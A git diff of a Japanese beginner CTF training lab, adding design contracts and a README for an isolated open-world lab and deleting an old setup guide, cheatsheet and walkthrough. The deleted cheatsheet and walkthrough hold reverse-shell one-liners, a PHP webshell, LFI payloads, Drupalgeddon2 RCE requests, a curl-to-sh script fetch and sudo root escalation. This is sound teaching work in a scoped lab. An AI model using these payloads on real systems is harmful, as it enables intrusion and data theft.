+7. 3 footholdすべてから3 root経路へ到達でき、別セッションで別ルートを遊べる。
+8. root取得後はDebianを信頼せず、外した信頼済み復旧USBからgolden imageへ戻す。
+
+## Architecture grammar
+
+- `apps/lab-guide` は探索地図、状況相談、セッション投影だけを所有する。
+- `apps/lab-guide/cloud` はペアリング、ライブ投影の永続化、閲覧者向け配信だけを所有する。
+- `labs/open-world-target/world` は架空業務環境、意図的脆弱性、flag配置だけを所有する。
+- `labs/open-world-target/telemetry` は教材イベントの正規化、状態遷移、公開可能な投影だけを所有する。
+- `labs/open-world-target/bridge` はKaliからDebian投影を読み、クラウドへ外向き中継することだけを所有する。
+- `labs/open-world-target/platform` はDebian構築、exercise/maintenance分離、直結ネットワーク、復旧だけを所有する。
+- `labs/open-world-target/operator` は準備、当日運用、復旧判断、実機証跡だけを所有する。
+- ExamServer本体とはコードを直結せず、独立配備したラボを`/lab`と`/api/lab`へreverse proxyする。共有するのはブランドtokens、学習語彙、入口情報、sanitized projectionの境界だけとする。
+
+## Non-goals
+
+- Drupal、DVWA、既存OVA、旧site-takeoverの拡張
+- インターネット、会社LAN、第三者システムへの攻撃
+- ブルートフォース、マルウェア、永続化、回避技術
+- 実在企業、実在人物、実顧客データ、実資格情報の使用
+- Debianまたはブラウザから標的LANを公開するトンネル
+- ブラウザからの任意コマンド実行
+- 生コマンド、端末出力、資格情報、flag文字列のクラウド保存
+- root取得後もDebian内のreset処理を信頼すること
+- 一つの完全手順だけで全員を完走させること
+
+## Failure modes
+
+1. 地図が正解一覧になり、参加者が仮説を立てずにノードを消化する。
+2. 自動検出が生コマンドや秘密を集め、教材より監視システムになる。
+3. 一つの入口またはroot経路だけが実用上の正解になり、再挑戦価値が消える。
+4. root取得後の標的をそのまま再利用し、次の参加者へ状態や改変が残る。
+5. デュアルブート作業がWindows、EFI、実データを損なう。
+6. KaliのWi-Fiと有線LANがルータ化し、隔離したDebianへ外部経路を与える。
+7. ライブ接続がない通常閲覧で、故障画面または偽の進行データを表示する。
+8. 接続、事実、調査、履歴、設定を初期画面へ並べ、初心者が地図よりUIの解読に時間を使う。
+
+## Observable acceptance
+
+- 完全初心者が段階ヒント込みで任意の一経路を30〜60分でrootまで完走できる。
+- 入口3種とroot経路3種の9組合せがfresh stateから成立する。
+- セッション未接続でも、公開ブリーフィング、世界観、必要機材、安全境界をWebだけで閲覧できる。
+- ペアリング済みセッションでは、教材イベントが2秒以内に探索地図または状況相談へ反映される。
+- ブラウザbundleと公開APIに未解放ヒント、flag正解、生コマンド、資格情報が含まれない。
+- Debian exercise modeにWi-Fi、外部DNS、default route、インターネット疎通がない。
+- Kaliがクラウド中継用Wi-Fiを使う場合も、IP forwarding、NAT、EthernetからWi-Fiへの転送が無効である。
+- Kali Bridge停止時は最後の確定状態と再接続表示を残し、復帰後に欠落なく追いつく。
+- 復旧USBからDebian、ラボ状態、Debian EFIをgolden stateへ戻し、Windowsが再起動できる。
+- Firefox ESRの1366×768、1280×720、360pxで主要フローをキーボードだけでも完了できる。
+- 初回表示では補助パネルの本文が見えず、各ラベルと件数から必要な情報を選び、一度に一枚だけ開閉できる。
diff --git a/README.md b/README.md
index 242f5c5..5b4d344 100644
--- a/README.md
+++ b/README.md
@@ -1,38 +1,88 @@
-# Yamamoto Mfg. CTF
+# ExamServer 実践ラボ
 
-社内プチ CTF。**山本製作所(Yamamoto Manufacturing Co., Ltd.)** という架空の中小企業の、長年放置された Web サーバーを攻略します。
+許可された直結環境だけで使う、初心者向けオープンワールド型セキュリティ教材です。
 
-> 配布: takes-security-hacking-lab
+標的はWindowsとDebian 13をデュアルブートするノートPCです。参加者はKali実機、または専用Ethernetだけを割り当てたKali VMから接続し、架空の中古バイク販売・整備チェーン「風切モータース」の業務サーバを調べます。
 
-## 概要
+公開ガイド: <https://exam-server-one.vercel.app/lab>
 
-| 項目 | 内容 |
-|---|---|
-| 形式 | Boot2Root (1台のVMを完全制覇) |
-| 難度 | 中級初心者(semi-beginner) |
-| 想定時間 | 2〜4時間(初心者) / 30〜60分(慣れてる人) |
-| カテゴリ | Web exploitation, Linux 権限昇格 |
-| フラグ形式 | `TSHL{...}` × 3個 |
+## 体験
 
-## 始め方
+- 3つの入口から低権限のLinux footholdを得る
+- 発見した事実をExamServerの`/lab`にある探索地図でつなぐ
+- 状況に合う仮説を選び、必要時だけ段階ヒントを見る
+- 3つの異なる権限昇格経路からDebian本体のrootを取る
+- 別セッションでは別ルートと14個のflagを探索する
 
-1. [Releases](https://github.com/skjshr/tgtsec/releases) から OVA をダウンロード
-2. [`SETUP.md`](SETUP.md) に従ってインポート + ネットワーク設定
-3. 攻撃用VMから `nmap` でターゲット発見 → CTF開始
+標準の一経路は初心者が30〜60分で完走できる密度にします。公開Webは標的がなくても閲覧でき、演習中はKali Bridgeが許可済み教材イベントだけを送って地図、説明、次の選択をリアルタイムに更新します。生コマンド、端末出力、資格情報、flag文字列はクラウドへ送りません。
 
-## このリポジトリにあるもの
+初期画面に出すのは現在目標、探索地図または仮説、主要操作だけです。接続、確定した事実、調査やヒント、履歴は件数付きの引き手に収納し、学習者が選んだ一種類だけをdesktopではside drawer、スマートフォンではbottom sheetで開きます。ライブ更新も勝手にパネルを開かず、目標、地図、引き手の件数だけを変えます。
 
-- [`README.md`](README.md) — このファイル
-- [`SETUP.md`](SETUP.md) — **プレイヤー向け** VirtualBox インポート手順
-- [`PRIMER.md`](PRIMER.md) — **CTF初参加者はまずこれ**。基礎用語・心構え・ツール導入
-- [`WALKTHROUGH-BEGINNER.md`](WALKTHROUGH-BEGINNER.md) — 段階的ヒント集(完全ネタバレなし)
-- [`TOOLS-CHEATSHEET.md`](TOOLS-CHEATSHEET.md) — よく使うコマンド一覧
-- [`DISTRIBUTION.md`](DISTRIBUTION.md) — **出題者向け** OVA配布手順
+## 構成
 
-## ルール
+- `apps/lab-guide` — 探索地図と状況相談
+- `apps/lab-guide/cloud` — Vercel FunctionとUpstash Redisによるペアリングとライブ投影
+- `labs/open-world-target/world` — 架空業務環境、意図的脆弱性、flags
+- `labs/open-world-target/telemetry` — 教材イベント、状態遷移、ローカルAPI
+- `labs/open-world-target/bridge` — Kaliから`/api/lab`への外向き中継
+- `labs/open-world-target/platform` — Debian構築、exercise/maintenance、復旧
+- `labs/open-world-target/operator` — 準備、当日運用、実機検証
+- `docs/design` — 承認済み画面正本
 
-- 攻撃対象は提供されたVMのみ。ホストOSや他ネットワークは攻撃禁止
-- 詰まったら `WALKTHROUGH-BEGINNER.md` を1段階ずつ開く
-- ブルートフォース系を**長時間回さない**(意図された解法では不要です)
+設計判断は [`PROJECT_CONSTITUTION.md`](PROJECT_CONSTITUTION.md)、画面契約は
+[`DESIGN.md`](DESIGN.md)、完了条件は [`TASK_CONTRACT.md`](TASK_CONTRACT.md) が所有します。
 
-楽しんで!
+## ローカル確認
+
+Node.js 20以上とPython 3.11以上を使います。ガイドの依存関係を一度入れれば、UI、14 flags、
+9経路、テレメトリ、Debian制御、復旧kitをまとめて検証できます。
+
+```text
+npm ci --prefix apps/lab-guide
+npm run check
+```
+
+開発用ガイドは自動状態のfixture付きで起動できます。
+
+```text
+npm --prefix apps/lab-guide run dev -- --host 127.0.0.1 --port 4173
+```
+
+ブラウザで`http://127.0.0.1:4173/?fixture=live`を開きます。`empty`、`reconnecting`、
+`unavailable`、`success`でも主要状態を再現できます。`transition`は、再読込なしで
+接続確認から最初の発見へ変わる状態を再現します。標的への導入順と実機gateは
+[`labs/open-world-target/operator/PREPARE-TARGET.md`](labs/open-world-target/operator/PREPARE-TARGET.md)
+から始めます。
+
+実機演習のガイド入口は
+<https://exam-server-one.vercel.app/lab> です。`BRIDGE_CLOUD_ORIGIN`には
+`https://exam-server-one.vercel.app`を設定します。Kali Bridgeを起動し、表示された短期pairing
+codeを公開ガイドへ入力します。
+攻撃対象は常にraw IP `10.13.37.10`、Bridgeが読むtelemetryは
+`http://10.13.37.10:8787`です。Debianはガイドを配信せず、DNS resolverも広告しません。
+
+インターネットを使わない演習だけは、Kali上でlocal-only fallback serverをloopbackへ起動し、
+`http://127.0.0.1:8080/?local=1`を開きます。fallback serverやガイド成果物をDebianへcopyしません。
+ライブ連携の責務と保存しない情報は
+[`docs/LIVE_ARCHITECTURE.md`](docs/LIVE_ARCHITECTURE.md)にまとめています。
+
+## 安全境界
+
+- 攻撃対象は運営者が指定した標的ノートだけ
+- exercise modeは直結Ethernet以外の経路を持たない
+- 実在データ、実アカウント、実資格情報を標的へ置かない
+- root取得後のDebianを信頼せず、外部の信頼済み復旧USBから初期化する
+- Windowsは空の捨て環境とし、裏flag以外の価値あるデータを置かない
+- ディスク操作は機種、disk ID、partition UUID、image hash、確認語が一致しない限り実行しない
+
+## 現在の検証境界
+
+リポジトリ内ではUI、状態エンジン、構築資材、fail-closed制御を自動検証します。公開
+`/lab`と`/api/lab`は、`create → pair → replay拒否 → waiting → snapshot → live → SSE`
+の本番smokeを公開ごとに通します。次の項目は対象ノートで証跡を残すまで未完了です。
+
+- Windowsを保持したDebianデュアルブート導入
+- Kali実機とKali VMからの9経路攻略
+- exercise modeの物理NIC隔離
+- root取得後の復旧USB初期化
+- DebianとWindowsの再起動
diff --git a/SETUP.md b/SETUP.md
deleted file mode 100644
index 399dbc6..0000000
--- a/SETUP.md
+++ /dev/null
@@ -1,93 +0,0 @@
-# SETUP — プレイヤー向けセットアップ手順
-
-> このドキュメントは **VM(攻撃対象)を受け取った側** が読むためのものです。
-
-## 必要なもの
-
-- **VirtualBox** (7.x以上推奨) — https://www.virtualbox.org/
-- **攻撃用VM** — Kali Linux または Parrot OS を別途用意
-- **ターゲットVM (OVA)** — 配布物 `yamamoto-mfg-ctf.ova`(別途共有された場所からダウンロード)
-- ホストOSに **8GB以上のRAM** と **20GB以上の空き** があると快適
-
-## ステップ1: ターゲットVMをインポート
-
-1. VirtualBox を起動
-2. メニュー **ファイル → 仮想アプライアンスのインポート**
-3. ダウンロードした `yamamoto-mfg-ctf.ova` を選択
-4. 設定確認画面で **MACアドレスポリシー** を `すべてのネットワークアダプタ MAC アドレスを再生成する` にする(複数人で同時起動するとMAC衝突する場合があるので)
-5. インポート実行
-
-## ステップ2: ネットワーク設定 — Host-Only にする
-
-ターゲットVMと攻撃用VMが**お互いに通信**できる必要があります。
-
-### Host-Only Network 作成 (初回のみ)
-
-VirtualBox → **ファイル → ツール → ネットワークマネージャー** → **作成** ボタン
-
-通常 `vboxnet0` (192.168.56.0/24) が作られます。DHCP有効でOK。
-
-### 各VMの設定変更
-
-両方のVMで:
-
-1. VM選択 → **設定** → **ネットワーク** → **アダプタ1**
-2. 割り当てを **Host-Only Adapter** に変更
-3. 名前 `vboxnet0` を選択
-4. OK
-
-## ステップ3: 攻撃用VMを準備
-
-Kali / Parrot を VirtualBox にインポートして、ネットワークを **同じ Host-Only Adapter** に設定。
-
-## ステップ4: 起動 → ターゲットIP発見
-
-1. ターゲットVM起動 (yamamoto-web01)
-2. 攻撃用VMを起動
-3. 攻撃用VMのターミナルで:
-
-```bash
-# 同一ネットワーク上のホストを発見
-sudo nmap -sn 192.168.56.0/24
-# または
-arp -a | grep 192.168.56
-```
-
-`192.168.56.X` のような IP が見えたら、それがターゲット。
-
-## ステップ5: 攻撃開始
-
-```bash
-# 接続確認
-ping <target-ip>
-
-# Webサイトを開いてみる
-firefox http://<target-ip>/
-
-# CTFスタート!
-```
-
-[`PRIMER.md`](PRIMER.md) → [`WALKTHROUGH-BEGINNER.md`](WALKTHROUGH-BEGINNER.md) の順で読み進めてください。
-
-## トラブルシュート
-
-### ターゲットVMがネットワーク上に見えない
-- 両VMとも Host-Only Adapter で同じネットワーク (`vboxnet0`) になっているか
-- ターゲットVM側で IP が割り当てられているか(コンソール画面で `ip a` で確認)
-- VirtualBox のホストオンリーネットワークマネージャーで DHCP が有効か
-
-### "Connection refused" / Webサイトが開けない
-- ターゲットVMが起動完了しているか(数十秒待つ)
-- 攻撃用VMからターゲットVMにpingが通るか
-
-### Firefox が動かない / スピード遅い
-- 攻撃用VMに割り当てるRAMを2GB以上に
-- `curl` だけでも基本攻略可能
-
-## 倫理ルール
-
-- **このVMは合法的な学習目的でのみ攻撃すること**
-- **ホストネットワークや本番システムへ攻撃を波及させないこと**(Host-Only にしているのはこのため)
-- 取得したフラグは**外に公開しない**(他のチームメイトの楽しみを奪うため)
-
-幸運を!
diff --git a/TASK_CONTRACT.md b/TASK_CONTRACT.md
new file mode 100644
index 0000000..d84afe9
--- /dev/null
+++ b/TASK_CONTRACT.md
@@ -0,0 +1,83 @@
+# Task Contract: ExamServer Open World Lab v1
+
+## Goal
+
+常時閲覧できるExamServerの公開ラボと、Kali Bridge経由でDebianの許可済み教材イベントに追従するライブ演習を、3入口、3root経路、14 flags、信頼済み復旧と一つの再現可能な体験として実装し、補助情報はユーザーがラベル付きの引き手を操作した時だけ一枚ずつ見せる。
+
+## Inputs
+
+- Target: UEFI/GPT、Windowsとのデュアルブート、Debian用80GB以上の未割当領域を確保できるノートPC
+- Attacker: Kali実機、またはUSB Ethernetを専有し他NICを外したKali VM
+- Network: target `10.13.37.10/24`、直結Ethernet、target DHCP、Debianは外部経路なし。ライブ利用時だけKaliは別NICからVercelへ外向きHTTPS接続する。
+- Audience: IT/ターミナル初心者、1チーム1〜3人
+- Session: 標準経路30〜60分、別ルート再挑戦あり
+- Recovery: 演習中は外して保管する信頼済みUSBとbare-metal backup
+
+## Removals
+
+- 旧`labs/site-takeover`を現行導線、構築、設計正本から外す。
+- Live USBを通常起動方式として使わない。
+- vanilla guideの出力貼付け中心モデルを削除する。
+- Drupal、DVWA、既存OVAを新世界へ移植しない。
+
+## World contract
+
+- Theme: 架空の中古バイク販売・整備チェーン「風切モータース」
+- Entrances:
+  1. Web staff diagnostics command injection → `www-data`
+  2. Anonymous SMB backup disclosure + credential reuse → `sales`
+  3. Misconfigured NFS share → `mechanic` SSH foothold
+- Root paths:
+  1. Misconfigured `sudo` maintenance helper
+  2. Group-writable root systemd timer payload
+  3. Training-only SUID helper with unsafe PATH resolution
+- All three footholds can reach all three root paths.
+- Flags: entry 3、foothold 3、root clue 3、root route 3、common root 1、Windows 1。
+
+## Telemetry contract
+
+- Record only allowlisted lab event kinds, node IDs, source IDs, evidence codes, and timestamps.
+- Never record raw commands, raw HTTP parameters, file contents, credentials, tokens, or arbitrary terminal history.
+- Services emit to a root-owned Unix socket; the event daemon validates source/event combinations.
+- Debian telemetry exposes only discovered facts, unlocked hypotheses, graph projection, hint state, progress, and sanitized recent events to the direct LAN.
+- Kali Bridge reads that public projection and sends monotonic snapshots to the cloud over outbound HTTPS. It never forwards a target port or arbitrary target traffic.
+- The public website has a no-session browse mode. A short-lived pairing flow switches it to the paired live projection.
+- SSE is the normal browser update path; state polling is the fallback.
+- Manual flag submission remains local-only and is not sent through the public cloud.
+- Root completion is the last trustworthy automatic event.
+
+## Platform contract
+
+- Exercise mode exposes only required lab services on wired Ethernet and gives Debian no external route.
+- Public guide URL is `https://exam-server-one.vercel.app/lab`; its live API namespace is `/api/lab`. The reserved `.test` domain is not used publicly. The target is reached from Kali at `10.13.37.10` and is never the guide host.
+- Kali may use Wi-Fi for the Bridge, but IPv4/IPv6 forwarding, NAT, and cross-interface forwarding must remain disabled.
+- Maintenance mode keeps vulnerable services stopped before Wi-Fi or update tooling is enabled.
+- Windows is offline, sacrificial, and contains only fixture data and its hidden flag.
+- Disk-writing setup/recovery commands are dry-run or fail closed until exact disk identity, partition UUID, confirmation phrase, and image hash are supplied.
+- Root-acquired Debian is never reset from itself.
+
+## Done criteria
+
+- New contracts and active README describe only the open-world lab.
+- Guide implements browse, waiting, live, loading, reconnecting, selected, hint, success, and local-only fallback states.
+- A visitor can understand the lab and view its public world without a target or session.
+- A Kali Bridge can create a short-lived session, upload a sanitized projection, and make a paired browser update without reload.
+- PLAY、OPS、FOCUSの3テーマはruntimeで切替・保存でき、テーマ変更で教材状態を失わない。
+- 初期画面は現在目標、世界／仮説、主要操作だけを表示し、接続、事実、調査／ヒント、履歴、見た目は名称の分かる引き手からだけ開く。
+- 補助情報は同時に一枚だけ表示し、Escape、背景操作、閉じる操作で収納でき、元の引き手へfocusが戻る。
+- Telemetry state machine and API pass unit/integration tests without leaking forbidden data.
+- Static target fixtures implement all 3 entrances, 3 root paths, and 14 logical flags.
+- Nine route combinations have automated contract tests and operator verification procedures.
+- Platform includes deterministic install/config generation, exercise/maintenance mode controls, network isolation checks, and recovery media workflow.
+- Browser verification passes Firefox-compatible desktop/narrow flows with no console errors or horizontal overflow.
+- `design-qa.md` compares source and implementation at matching viewport and ends with `final result: passed`.
+- Physical dual-boot, actual exploit execution, actual Windows boot, and actual recovery remain explicitly incomplete until recorded on the target notebook.
+
+## Surprise ledger
+
+- The old single-route lab is removed from active use instead of being migrated.
+- Root is real Debian host root; Windows safety comes from sacrificial contents and trusted external recovery, not containment.
+- The guide is hosted publicly; only sanitized state projections and connection metadata reach the cloud.
+- Automatic detection is event-based and privacy-bounded, not full command monitoring.
+- Live mode requires Kali internet access while Debian remains isolated. Fully offline sessions use the local telemetry API without Vercel.
+- 旧三列レイアウトとモバイルでの全パネル縦積みは廃止し、desktopはside drawer、narrow画面はbottom sheetへ統一する。
diff --git a/TOOLS-CHEATSHEET.md b/TOOLS-CHEATSHEET.md
deleted file mode 100644
index 82408a0..0000000
--- a/TOOLS-CHEATSHEET.md
+++ /dev/null
@@ -1,172 +0,0 @@
-# TOOLS CHEATSHEET — CTF用コマンド早見表
-
-## ターゲット発見
-
-```bash
-# 同一サブネット内のホスト一覧
-sudo nmap -sn 192.168.56.0/24
-# または
-arp -a
-
-# (VirtualBox Host-Only の典型: 192.168.56.0/24)
-```
-
-## ポートスキャン
-
-```bash
-# クイック
-nmap <target>
-
-# 全ポート + バージョン + デフォルトスクリプト (推奨)
-nmap -p- -sV -sC -oN scan.txt <target>
-
-# UDPもやる場合(時間かかる)
-sudo nmap -sU --top-ports 50 <target>
-```
-
-## Web 列挙
-
-```bash
-# ディレクトリ列挙
-gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt
-# 拡張子付き
-gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
-
-# robots.txt は最初に見る
-curl http://<target>/robots.txt
-
-# CMS / Webサーバー fingerprint
-whatweb http://<target>/
-curl -I http://<target>/
-
-# ソースコメント・隠しコメント
-curl -s http://<target>/ | grep -E "<!--|TODO|FIXME"
-```
-
-## LFI 攻撃パターン
-
-```bash
-# 直接読み取り (パラメータ脆弱)
-curl "http://<target>/?page=/etc/passwd"
-curl "http://<target>/?page=/etc/hosts"
-
-# パストラバーサル
-curl "http://<target>/?page=../../../etc/passwd"
-
-# php://filter で PHP ソース読取(コードが実行される代わりに base64 で取れる)
-curl "http://<target>/?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d
-
-# Apache ログ読取(ログポイズニング用)
-curl "http://<target>/?page=/var/log/apache2/access.log"
-```
-
-## RCE ペイロード
-
-```bash
-# リバースシェル(Bash)
-bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'
-
-# リスナー(攻撃側)
-nc -lvnp 4444
-
-# Python ワンライナー reverse shell
-python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];subprocess.call(["/bin/sh","-i"])'
-
-# webshell 仕込み
-echo '<?php system($_GET["c"]); ?>' > /var/www/html/x.php
-# 利用: http://<target>/x.php?c=id
-```
-
-## 安定したシェル化(reverse shell をまともなTTYに)
-
-```bash
-# 接続後のシェル内で:
-python3 -c 'import pty;pty.spawn("/bin/bash")'
-export TERM=xterm
-# Ctrl+Z で一旦停止 → ホスト側で:
-stty raw -echo; fg
-# Enter 2回押す
-```
-
-## SSH
-
-```bash
-ssh user@<target>
-# パスワード経由でホストキー警告無視(CTFのみ!)
-ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@<target>
-
-# SSH キーで入る
-ssh -i id_rsa user@<target>
-```
-
-## ファイル探索 (post-exploitation)
-
-```bash
-# 世界書き込み可能
-find / -perm -o+w -type f 2>/dev/null
-
-# SUID バイナリ(典型的な privesc 経路)
-find / -perm -u=s -type f 2>/dev/null
-
-# 自分が読めるファイル + パスワードっぽいもの
-find / -type f -readable 2>/dev/null | xargs grep -l -i "password\|credential\|secret" 2>/dev/null | head
-
-# Drupal/WordPress の設定ファイル
-find / -name "settings.php" -o -name "wp-config.php" 2>/dev/null
-```
-
-## 権限昇格
-
-```bash
-# 必ず最初にやる
-sudo -l
-
-# 現在のグループ・特殊権限
-id
-
-# 既知の privesc 自動診断
-# linpeas.sh — github.com/carlospolop/PEASS-ng
-curl -L https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | sh
-
-# GTFOBins (sudo / SUID で root 取る方法集)
-# https://gtfobins.github.io/
-```
-
-## パスワード関連
-
-```bash
-# Drupal 7 のハッシュ抽出 (DB アクセスできたら)
-mysql -u drupal -p drupal_db -e "SELECT name, pass FROM users;"
-
-# John でクラック
-john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
-
-# Hashcat (GPU 速い)
-hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt
-```
-
-## Drupalgeddon2 ワンライナー
-
-```bash
-# 最小再現
-curl -X POST 'http://<target>/blog/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' \
-  --data 'form_id=user_pass&_triggering_element_name=name'
-# 注: form_build_id を再使用する2段階攻撃の方が確実(下記)
-
-# 確実版(2段階)
-TARGET=http://<target>/blog/
-FBID=$(curl -s -X POST "${TARGET}?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id" \
-  -d 'form_id=user_pass&_triggering_element_name=name' \
-  | grep -oP 'form_build_id" value="\K[^"]+' | head -1)
-curl -X POST "${TARGET}?q=file/ajax/name/%23value/${FBID}" -d "form_build_id=${FBID}"
-```
-
-## 困った時
-
-| 症状 | 試すこと |
-|------|---------|
-| ポートが空っぽ | nmap に `-Pn` 付ける(ICMP無効化されてる) |
-| Webが見えない | 80/443以外の `8080`, `8000`, `8888` も試す |
-| 「権限なし」連発 | `sudo -l`, `find / -perm` で別経路探す |
-| シェルが不安定 | python pty + stty raw でフルTTYに |
-| ヒント全部読んでも詰む | 朝まで寝て、もう一度最初から見直す。マジで |
diff --git a/WALKTHROUGH-BEGINNER.md b/WALKTHROUGH-BEGINNER.md
deleted file mode 100644
index 284fd81..0000000
--- a/WALKTHROUGH-BEGINNER.md
+++ /dev/null
@@ -1,254 +0,0 @@
-# WALKTHROUGH (Beginner) — 段階的ヒント集
-
-> **使い方**: 詰まったら、上から1個ずつ `<details>` を開く。最初から全部開いちゃダメ、自分で考える時間がいちばん勉強になる。
-
-各ステージは:
-- **状況** = いま何ができていて何が分からない状態
-- **ヒント Lv1〜Lv3** = 弱→中→強。Lv3 はほぼ答え
-
----
-
-## STAGE 1: 偵察 (Reconnaissance)
-
-**状況**: VMのIPは分かった。さて何をする?
-
-<details>
-<summary>Hint Lv1 — どこから始める?</summary>
-
-「サービスの一覧を取る」ところから。Linuxサーバーにポートスキャンを打つのは挨拶みたいなもの。
-</details>
-
-<details>
-<summary>Hint Lv2 — どのコマンド?</summary>
-
-```
-nmap -p- -sV -sC <target-ip>
-```
-- `-p-` 全ポートスキャン (デフォルトは1000ポートだけ)
-- `-sV` バージョン特定
-- `-sC` 標準スクリプト実行
-</details>
-
-<details>
-<summary>Hint Lv3 — 何が見えるはず?</summary>
-
-ポート2つ。一つはSSH (22)、もう一つは Web サーバー (80/HTTP)。Webから攻めるのが定石です。
-</details>
-
----
-
-## STAGE 2: メインサイト調査
-
-**状況**: ブラウザで `http://<target>/` を開いた。古い感じの企業サイトが出る。次は?
-
-<details>
-<summary>Hint Lv1 — 何を観察する?</summary>
-
-ナビゲーションをクリックしながら、**URLバー** を凝視。何かパターンに気づくはず。
-</details>
-
-<details>
-<summary>Hint Lv2 — URLパラメータの脆弱性</summary>
-
-URLに `?page=pages/about.php` のような形が見える? これは「サーバー側でファイルを読み込む」処理が入っている可能性大。**任意のパスを指定したらどうなる?**
-</details>
-
-<details>
-<summary>Hint Lv3 — 試すべきURL</summary>
-
-```
-http://<target>/?page=/etc/passwd
-```
-これでサーバーの /etc/passwd が表示されたら、**LFI (Local File Inclusion)** 確定。
-</details>
-
----
-
-## STAGE 3: LFI を活用して隠しパスを見つける
-
-**状況**: LFI が動くことは分かった。でも、これだけじゃどこから次に行けばいい?
-
-<details>
-<summary>Hint Lv1 — 何を読む?</summary>
-
-サーバーには「Webルートの上のディレクトリ」がある。`/var/www/` の中身に何があるか想像してみて。
-</details>
-
-<details>
-<summary>Hint Lv2 — 怪しい候補</summary>
-
-管理者は時々、Webルートの **すぐ外** に「メモ書き」「設定バックアップ」を置きがち。`maintenance.txt` とか `notes.txt` とかありそうな名前を試してみる。
-</details>
-
-<details>
-<summary>Hint Lv3 — ピンポイント</summary>
-
-```
-http://<target>/?page=/var/www/maintenance.txt
-```
-ここに重要な情報(隠しパス + CMSバージョン)が書かれている。読み取って次へ。
-</details>
-
----
-
-## STAGE 4: 隠しブログとCVE発見
-
-**状況**: メンテファイルから `/blog/` の存在と CMS バージョン情報を得た。
-
-<details>
-<summary>Hint Lv1 — 確認すべきこと</summary>
-
-`http://<target>/blog/` をブラウザで開く。CMS のロゴが見える。これは何のCMS?ヒント:雫 (drop) 形のロゴ。
-</details>
-
-<details>
-<summary>Hint Lv2 — バージョンを特定</summary>
-
-ほとんどの古い CMS は `CHANGELOG.txt` をWebルートに置いたまま。
-```
-http://<target>/blog/CHANGELOG.txt
-```
-冒頭にバージョンが書いてある。
-</details>
-
-<details>
-<summary>Hint Lv3 — その CVE は?</summary>
-
-**Drupal 7.57** + 2018年の重大脆弱性 = **CVE-2018-7600** (通称 **Drupalgeddon2**)。未認証でRCE取れる超強力な脆弱性。GitHubで「Drupalgeddon2 PoC」を検索。
-</details>
-
----
-
-## STAGE 5: Drupalgeddon2 でRCE
-
-**状況**: PoCをGitHubで見つけた。実行方法が分からない。
-
-<details>
-<summary>Hint Lv1 — PoCの選び方</summary>
-
-GitHub で `drupalgeddon2` を検索すると Python や bash の PoC が複数出る。**Python版** が読みやすくておすすめ。`pimps/CVE-2018-7600` あたりが定番。
-</details>
-
-<details>
-<summary>Hint Lv2 — 実行</summary>
-
-```bash
-git clone https://github.com/pimps/CVE-2018-7600
-cd CVE-2018-7600
-python3 drupalgeddon2.py -h
-python3 drupalgeddon2.py -t http://<target>/blog/ -c id
-```
-`uid=33(www-data)` が返ってきたらRCE成功。
-</details>
-
-<details>
-<summary>Hint Lv3 — Webshell化</summary>
-
-毎回PoCを叩くのはダルいので、最初の一発で webshell を仕込む:
-```
-python3 drupalgeddon2.py -t http://<target>/blog/ -c "echo '<?php system(\$_GET[c]); ?>' > /var/www/html/blog/sites/default/files/sh.php"
-```
-あとは `http://<target>/blog/sites/default/files/sh.php?c=id` でコマンド実行。
-</details>
-
----
-
-## STAGE 6: FLAG 1 (web)
-
-**状況**: webshell or RCE が手に入った。1個目のフラグはどこ?
-
-<details>
-<summary>Hint Lv1</summary>
-Webサーバーのドキュメントルート周辺を `ls -la` で覗いて回る。
-</details>
-
-<details>
-<summary>Hint Lv2</summary>
-`/var/www/` 直下に「.」で始まる隠しファイルがある。
-</details>
-
----
-
-## STAGE 7: 横展開 (www-data → yamamoto)
-
-**状況**: Webシェルを取れた。でも www-data は権限弱い。次の手は?
-
-<details>
-<summary>Hint Lv1 — どこを探す?</summary>
-
-サーバー上のテキストファイルで「password」「credential」「cred」などの単語を含むものを探す。
-</details>
-
-<details>
-<summary>Hint Lv2 — コマンド例</summary>
-
-```
-find / -type f -readable 2>/dev/null | xargs grep -l -i "password\|credential" 2>/dev/null | head -20
-```
-または
-```
-ls -la /var/backups/
-ls -la /opt/
-```
-</details>
-
-<details>
-<summary>Hint Lv3</summary>
-
-`/var/backups/yamamoto-personal-notes.txt` が世界読み取り可能になっている。Yamamoto-san のパスワード使い回し癖が記録されている。
-</details>
-
----
-
-## STAGE 8: SSH ログイン → FLAG 2
-
-**状況**: yamamoto のパスワードを入手した。
-
-```bash
-ssh yamamoto@<target>
-# password: (Stage 7で見つけたやつ)
-cat user.txt
-```
-2個目のフラグゲット。
-
----
-
-## STAGE 9: 権限昇格 → root → FLAG 3
-
-**状況**: yamamoto としてシェルが取れた。最後の壁は root。
-
-<details>
-<summary>Hint Lv1 — 最初に何を確認?</summary>
-
-定番中の定番:
-```
-sudo -l
-```
-このユーザーが「パスワードなしで実行できるコマンド」が見える。
-</details>
-
-<details>
-<summary>Hint Lv2 — GTFOBins</summary>
-
-NOPASSWD で許可されているコマンド名を https://gtfobins.github.io/ で検索。`Sudo` のセクションを見れば、root権限でシェルを開く方法が書いてある。
-</details>
-
-<details>
-<summary>Hint Lv3 — 答え</summary>
-
-```bash
-sudo find . -exec /bin/sh \; -quit
-# または
-sudo find /root/root.txt -exec cat {} \;
-```
-3個目のフラグゲット、CTF完全制覇。
-</details>
-
----
-
-## 終わったあとに
-
-- 自分のWriteup を書く(Markdown で「やったこと一覧」をまとめるだけでもOK)
-- 同じCVEの別の攻略法を調べる(例: Metasploit `exploit/unix/webapp/drupal_drupalgeddon2`)
-- このVMで他に「もう一つの解き方」がないか探してみる(LFI で別ファイル読んでみたり)
-- 次は **TryHackMe** や **HackTheBox** の "Easy" マシンに挑戦
diff --git a/apps/lab-guide/.npmrc b/apps/lab-guide/.npmrc
new file mode 100644
index 0000000..1223b5c
--- /dev/null
+++ b/apps/lab-guide/.npmrc
